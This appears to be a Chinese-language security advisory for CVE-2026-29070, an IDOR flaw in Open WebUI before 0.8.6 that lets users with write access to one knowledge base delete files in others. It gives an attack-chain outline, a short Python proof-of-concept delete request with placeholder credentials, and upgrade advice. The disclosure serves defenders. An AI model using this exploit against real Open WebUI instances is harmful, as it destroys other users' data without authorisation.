IPBUF安全漏洞报告
English
CVE-2026-29070 CVSS 5.4 中危

CVE-2026-29070 Open WebUI访问控制漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-29070
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open WebUI

相关标签

IDORAccess ControlOpen WebUIKnowledge BaseCVE-2026-29070

漏洞概述

Open WebUI 是一个支持离线运行的自托管 AI 平台。在 0.8.6 版本之前,系统在删除知识库文件时存在严重的访问控制缺陷。尽管系统验证了用户对知识库的写入权限,但未验证待删除文件是否属于该特定知识库。因此,攻击者若获知文件 ID,即可删除任意知识库中的文件,造成数据完整性破坏。该漏洞已在 0.8.6 版本中修复。

技术细节

该漏洞原理属于典型的访问控制失效,具体表现为不安全的直接对象引用(IDOR)。在 Open WebUI 的后端代码逻辑中,当处理删除知识库内文件的请求时,系统仅校验了发起请求的当前用户是否对目标知识库拥有写入权限或管理员权限。关键的安全缺陷在于,系统并未验证请求参数中指定的“文件 ID”是否确实存储于该特定“知识库 ID”下。因此,攻击者只需拥有系统中任意一个知识库的写入权限,并结合已知的其他文件 ID(可能通过猜测、枚举或信息泄露获得),即可构造恶意 HTTP 请求。服务端接受请求后,会错误地执行删除操作,导致不属于攻击者权限范围内的数据被永久删除,严重破坏了数据的完整性和隔离性。

攻击链分析

STEP 1
侦察
攻击者识别目标 Open WebUI 实例,并确认其版本低于 0.8.6。
STEP 2
获取权限
攻击者注册或登录一个普通用户账号,该账号需拥有任意一个知识库的写入权限。
STEP 3
信息收集
攻击者通过猜测、枚举或其他途径获取目标知识库中文件的 ID(file_id)。
STEP 4
漏洞利用
攻击者构造删除文件的 API 请求,将获取到的 file_id 放入请求参数中,利用自身的合法权限发起请求。
STEP 5
达成效果
由于服务端未校验文件归属权,系统错误地执行删除操作,导致目标知识库中的文件丢失。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL setup target_host = "http://localhost:3000" api_endpoint = "/api/v1/knowledge/base/delete/file" url = target_host + api_endpoint # Attacker's cookie (User with write access to at least one KB) attacker_cookie = { "auth_token": "valid_user_token_with_write_access" } # Malicious payload: Deleting a file ID from a different knowledge base # The attacker knows this ID but does not own the file payload = { "file_id": "target_victim_file_id_12345" } try: response = requests.post(url, json=payload, cookies=attacker_cookie) if response.status_code == 200: print("[+] Exploit successful: Arbitrary file deleted.") else: print(f"[-] Exploit failed: Status {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")

影响范围

Open WebUI < 0.8.6

防御指南

临时缓解措施
建议立即将 Open WebUI 升级到 0.8.6 版本以彻底修复该漏洞。在无法立即升级的情况下,管理员应严格限制用户账号的创建与权限分配,仅给予受信任用户知识库写入权限,并密切监控系统日志以发现潜在的删除攻击尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表